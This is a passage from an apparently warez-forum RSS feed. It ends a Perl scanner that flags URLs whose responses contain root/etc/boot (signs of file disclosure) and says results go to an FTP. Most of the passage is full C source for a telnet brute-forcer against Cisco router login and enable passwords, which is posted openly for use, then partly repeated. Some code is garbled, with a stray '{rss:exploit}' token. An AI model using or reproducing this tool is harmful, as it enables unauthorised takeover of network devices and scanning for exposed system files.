&nbsp;&nbsp; &#36;w++; <br />
&nbsp;&nbsp; } <br />
&nbsp;&nbsp; close(ops); <br />
print "&#92;t[ ComeÃ§ando o scan aguarde. Pode demorar horas. ]&#92;n"; <br />
for(&#36;q=0;&#36;q&lt;=&#36;w;&#36;q++) <br />
&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;if (&#36;hot[&#36;q] =~/http/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp; &#36;tipo=get(&#36;hot[&#36;q]) or next; <br />
&nbsp;&nbsp; if(&#36;tipo =~/root/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (&#36;tipo =~/etc/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;tipo =~/boot/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;open(a,"&gt;&gt;res.txt"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;print a "&#36;hot[&#36;q]&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;close(a); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }}}}}} <br />
&nbsp;&nbsp;<br />
print "&#92;t[ Pronto scanner concluido ]&#92;n"; <br />
print "&#92;t[ O resultado foi salvo no ftp do spykids ]&#92;n"<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Cisco Password Bruteforcer Exploit]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=39</link>
			<pubDate>Sat, 20 Oct 2007 21:44:21 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=39</guid>
			<description><![CDATA[<br />
Cod:<br />
/* <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .: free source :. .: coded 4 Avatar Corp :. <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;enabler.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cisco internal bruteforcer.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; coder - norby&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; concept - anyone <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;this program just logs into a CISCO router and tries a list of <br />
&nbsp;&nbsp;passes looking for the enable one. <br />
&nbsp;&nbsp;it works in password-only CISCO as well in login-pass ones and <br />
&nbsp;&nbsp;has been succesfully tested on many 2600 and a few 12008. <br />
&nbsp;&nbsp;the prog's concept [bruteforcing a router for gaining enable access] <br />
&nbsp;&nbsp;is quite simple ...how amazing I haven't seen similar progs before! <br />
<br />
&nbsp;&nbsp;anti eleet&amp;0day force ;) <br />
&nbsp;&nbsp;anyway... information wants to be free :) <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sciao belli <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a berserker mandarine, acidcrash <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; beho x la traduzione :)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;norby <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a *lei*, saluti a gabriella che a capodanno <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; non ha voluto lasciare il ragazzo x fare un bambino con me ;) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a tutti gli avatar, a sandman, a tutte le diecimila <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; persone che conosco <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;any <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a Acida, storm&#92;, Raid <br />
<br />
 contact`&nbsp;&nbsp;&nbsp;&nbsp;norby - staff22@infinito.it&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;anyone - anyone@anyone.org <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.avatarcorp.org <br />
<br />
<br />
neural collapse _ i truly hope in this project <br />
<br />
v1 02/10/2k+1 <br />
todo for v2: use of threads, implement a passlist recovery <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(very simple feature)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
*/ <br />
<br />
<br />
<br />
#include &lt;stdio.h&gt; <br />
#include &lt;stdlib.h&gt; <br />
#include &lt;errno.h&gt; <br />
#include &lt;sys/socket.h&gt; <br />
#include &lt;netinet/in.h&gt; <br />
#include &lt;netdb.h&gt; <br />
#include &lt;signal.h&gt; <br />
<br />
#define BOX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "3[0m3[34;1m[3[0m3[37;1m`3[0m3[34;1m]" <br />
<br />
struct sockaddr_in addr; <br />
char host[100]; <br />
struct hostent *hp; <br />
int sock_stat; <br />
<br />
int n,x; <br />
char **password; <br />
<br />
char resolve(char *inputhost) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;int a,b,c,d; <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (sscanf(inputhost,"%d.%d.%d.%d",&amp;a,&amp;b,&amp;c,&amp;d) !=4) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hp = gethostbyname(inputhost); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (hp == NULL) { printf("%s error on host resolving&#92;n3[0m&#92;n", BOX); exit(0); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sprintf(host,"%d.%d.%d.%d",(unsigned char)hp-&gt;h_addr_list[0][0], <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned char)hp-&gt;h_addr_list[0][1], <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned char)hp-&gt;h_addr_list[0][2], <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned char)hp-&gt;h_addr_list[0][3]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;else { strncpy(host,inputhost,100); } <br />
} <br />
&nbsp;&nbsp;<br />
int sock(char *hostoresolve,int port) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;int err; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;sock_stat = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); <br />
&nbsp;&nbsp;&nbsp;&nbsp;if(sock_stat&lt;0) { printf("%s error opening socket&#92;n3[0m&#92;n", BOX); exit(0); } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;addr.sin_family = PF_INET; <br />
&nbsp;&nbsp;&nbsp;&nbsp;addr.sin_port = htons(port); <br />
&nbsp;&nbsp;&nbsp;&nbsp;addr.sin_addr.s_addr = inet_addr(host); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;err = connect(sock_stat, (struct sockaddr *) &amp;addr, sizeof(addr)); <br />
&nbsp;&nbsp;&nbsp;&nbsp;if (err &lt; 0) { printf("%s error opening connection&#92;n3[0m&#92;n", BOX); exit(0); } <br />
} <br />
<br />
int banner() { <br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("&#92;n%s enabler.&#92;n", BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cisco internal bruteforcer. concept by anyone&#92;n", BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; coded by norby&#92;n", BOX); <br />
} <br />
int usage(char *argv) { printf("%s usage: %s &lt;ip&gt; [-u user] &lt;pass&gt; &lt;passlist&gt; [port]&#92;n&#92;n3[0m", BOX, argv); } <br />
<br />
void sig() { <br />
&nbsp;&nbsp;&nbsp;&nbsp; if(n&gt;0) { printf("%s %i passwords tryed. no password matching. leaving&#92;n",BOX,n); } <br />
&nbsp;&nbsp;&nbsp;&nbsp; printf("&#92;n3[0m"); exit(0); <br />
} <br />
<br />
int login(char *login, char *pass) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *input = malloc(4000); <br />
&nbsp;&nbsp;&nbsp;&nbsp;int reqlogin; <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while (read (sock_stat, input, 4000) &gt; 0) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"ogin:")||strstr(input,"sername:")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(login,"n0login")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s username needed... give me a username next time :)&#92;n&#92;n3[0m", BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s login requested. sending [%s] and [%s]&#92;n", BOX, login, pass); reqlogin=1; break; <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"assword:")) { printf("%s only password needed. sending [%s]&#92;n", BOX, pass); reqlogin=0; break; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; bzero(input,4000); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(reqlogin==1) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,login,strlen(login)); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,"&#92;r&#92;n",2); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(read(sock_stat,input,4000)&gt;0) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"assword")); { break; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,pass,strlen(pass)); <br />
&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,"&#92;r&#92;n",2); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;sleep(2); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;bzero(input,4000); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while (read (sock_stat, input, 4000) &gt; 0) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"&gt;")) { printf("%s seems we are logged in :)&#92;n", BOX); break; } <br />
&nbsp;&nbsp;/*&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"assword:")) {&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s sorry... [%s] is not a good password for login :?n3[0m&#92;n",BOX,pass); exit(0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}*/ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"sername:")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s sorry... [%s] is not a good password for login :?n3[0m&#92;n",BOX,pass); exit(0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bzero(input,4000); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
} <br />
<br />
int loadwordlist(char *list) { <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp; FILE&nbsp;&nbsp; *passlist; <br />
&nbsp;&nbsp; char&nbsp;&nbsp; buf[32], fake; <br />
&nbsp;&nbsp; int i,z; <br />
<br />
&nbsp;&nbsp; if ((passlist = fopen(list, "r")) == NULL) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s sorry, unable to open the passlist [%s]&#92;n3[0m&#92;n", BOX,list); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0); <br />
&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp; (void)fseek(passlist, 0L, SEEK_END);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // cazz questo e' uno smanettamento mentale&nbsp;&nbsp;<br />
&nbsp;&nbsp; password = malloc(ftell(passlist));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// per fare allocare solo la memoria giusta x la passlist :P <br />
&nbsp;&nbsp; if(password == NULL) { <br />
&nbsp;&nbsp;&nbsp;&nbsp; printf("%s sorry, can't allocate memory for passlist. buy more ram or cut the passlist&#92;n3[0m&#92;n",BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp; exit(0); <br />
&nbsp;&nbsp; }&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp; (void)fseek(passlist, 0L, SEEK_SET); <br />
<br />
&nbsp;&nbsp; while (!feof(passlist)) { <br />
&nbsp;&nbsp;&nbsp;&nbsp; fgets(buf, 32, passlist); <br />
&nbsp;&nbsp;&nbsp;&nbsp; if (buf[0] == '#' || buf[0] == '&#92;n') continue; <br />
&nbsp;&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; strlen(buf); i++) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (buf[i] == '&#92;n') buf[i] = '{rss:exploit}'; <br />
&nbsp;&nbsp;&nbsp;&nbsp; password[x] = malloc(32); <br />
&nbsp;&nbsp;&nbsp;&nbsp; strcpy(password[x], buf); <br />
&nbsp;&nbsp;&nbsp;&nbsp; memset(buf, 0, 32); <br />
&nbsp;&nbsp;&nbsp;&nbsp; x++; <br />
&nbsp;&nbsp; } <br />
&nbsp;&nbsp; password[x] = 0x0; <br />
&nbsp;&nbsp; fclose(passlist); <br />
&nbsp;&nbsp; if(x&lt;4) { printf("%s sorry, but passlist must contain at least 3 passwords. leaving &#92;n3[0m&#92;n",BOX); exit(0); } <br />
<br />
} <br />
<br />
int brute() {&nbsp;&nbsp;// there is a stupid error... the last password is tryed 2 times... must be fixed... ;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; char *input = malloc(100); <br />
&nbsp;&nbsp; int N; <br />
<br />
&nbsp;&nbsp; bzero(input,100); <br />
<br />
&nbsp;&nbsp; write(sock_stat,"enable",6); <br />
&nbsp;&nbsp; write(sock_stat,"&#92;r&#92;n",2); <br />
<br />
<br />
&nbsp;&nbsp; while(1) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; while(read(sock_stat,input,100)&gt;0) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(n==x) { printf("%s %i passwords tried. no valid password found in the passlist&#92;n3[0m&#92;n",BOX,n-1); exit(0); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(n+1==x) break; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"assword:")||strstr(input,"#")||strstr(input,"&gt;")) break; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(input,100); <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"#")) { printf("%s possible password found: %s&#92;n3[0m&#92;n",BOX,password[n-1]); exit(0); } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"assword:")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(sock_stat,password[n],strlen(password[n])); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(sock_stat,"&#92;r&#92;n",2); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n++; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(input,100); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(n&gt;1) printf("%s %s... wrong password&#92;n", BOX, password[n-2]); fflush(stdout); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue; <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"&gt;")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(sock_stat,"enable&#92;r&#92;n",8); bzero(input,100); <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp; } <br />
} <br />
<br />
int main(int argc, char *argv[]) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;int port; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;signal(SIGINT, sig); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;banner(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;if((argc&lt;=3)||(argc&gt;=8)) { usage(argv[0]); exit(0); } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(argv[2],"-u")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc==6) { port=atoi("23"); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else { port=atoi(argv[6]); } // c'e' uno stupido errore qua di argc che nn ho voglia di trovare <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // c'ho cosetta nella testa :?-- Corretto :) <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&#92;n",BOX); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;loadwordlist(argv[5]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resolve(argv[1]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock(host, port); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login(argv[3],argv[4]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;brute(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;else { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc==4) { port=atoi("23"); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else { port=atoi(argv[4]); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&#92;n",BOX); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;loadwordlist(argv[3]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resolve(argv[1]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock(host, port); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login("n0login",argv[2]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;brute(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
}<br />
<br />
]]></description>
			<content:encoded><![CDATA[<br />
Cod:<br />
/* <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .: free source :. .: coded 4 Avatar Corp :. <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;enabler.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cisco internal bruteforcer.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; coder - norby&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; concept - anyone <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;this program just logs into a CISCO router and tries a list of <br />
&nbsp;&nbsp;passes looking for the enable one. <br />
&nbsp;&nbsp;it works in password-only CISCO as well in login-pass ones and <br />
&nbsp;&nbsp;has been succesfully tested on many 2600 and a few 12008. <br />
&nbsp;&nbsp;the prog's concept [bruteforcing a router for gaining enable access] <br />
&nbsp;&nbsp;is quite simple ...how amazing I haven't seen similar progs before! <br />
<br />
&nbsp;&nbsp;anti eleet&amp;0day force ;) <br />
&nbsp;&nbsp;anyway... information wants to be free :) <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sciao belli <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a berserker mandarine, acidcrash <br />
